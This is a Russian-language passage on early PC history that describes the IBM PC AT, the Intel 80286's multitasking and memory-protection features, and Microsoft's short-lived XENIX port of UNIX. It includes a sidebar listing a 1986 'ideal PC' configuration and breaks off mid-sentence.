Тем временем, в аппаратном оснащении персональных компьютеров произошли серьезные изменения. Коронация IBM представила свою новую разработку - модель PC AT, оснащенную емким жестким диском, увеличенным объемом оперативной памяти и главное быстродействующим микропроцессором Intel 80286. С точки зрения пользователя чип Intel 80286 работал, по крайней мере, в три раза быстрее, чем Intel 8086, но для программистов это событие означало нечто большее очередного увеличения производительности. Новый микропроцессор включал в себя возможности, ранее доступные лишь большим машинам! Среди них - поддержка многозадачности, виртуальная память, защита страниц… Появилась возможность создать для PC многозадачную, защищенную операционную систему.

Врезка «замечание» [133]
Идеальный ПК - 1986
Процессор: Intel 80286/10 МГц
ОЗУ: 640 Кбайт
Внешняя память: накопитель на 1,2-Мбайт 5,25" гибких дисках,
20-Мбайт жесткий диск
Монитор: 14" цветной CGA
ОС: MS-DOS 3.2
Цена: 3995 долл.

Но в MS-DOS многозадачность принципиально не предусматривалась, и внедрить ее без потери совместимости с существующим программным обеспечением было невозможно. Поэтому, Microsoft приобрела у корпорации AT amp;T лицензию на оригинальные коды UNIX и перенесла их на PC, попутно исправив значительные количество ошибок и внося мелкие «косметические» усовершенствования. Новая система получила название XENIX, и стала первым клоном UNIX, работающим на IBM PC [134]. Но своего потребителя она так и не нашла - те, кто работали с UNIX, пренебрежительно относились к PC, а те работал с PC, зачастую ничего не смысли в UNIX и уже привыкли к «операционной системе» MS-DOS. Вскоре система XENIX была забыта, так и не оказавшись востребованной, и вышло, что труд программистов был потрачен впустую. (К слову сказать, Microsoft совместно с молодой компанией Santa Cruz все-т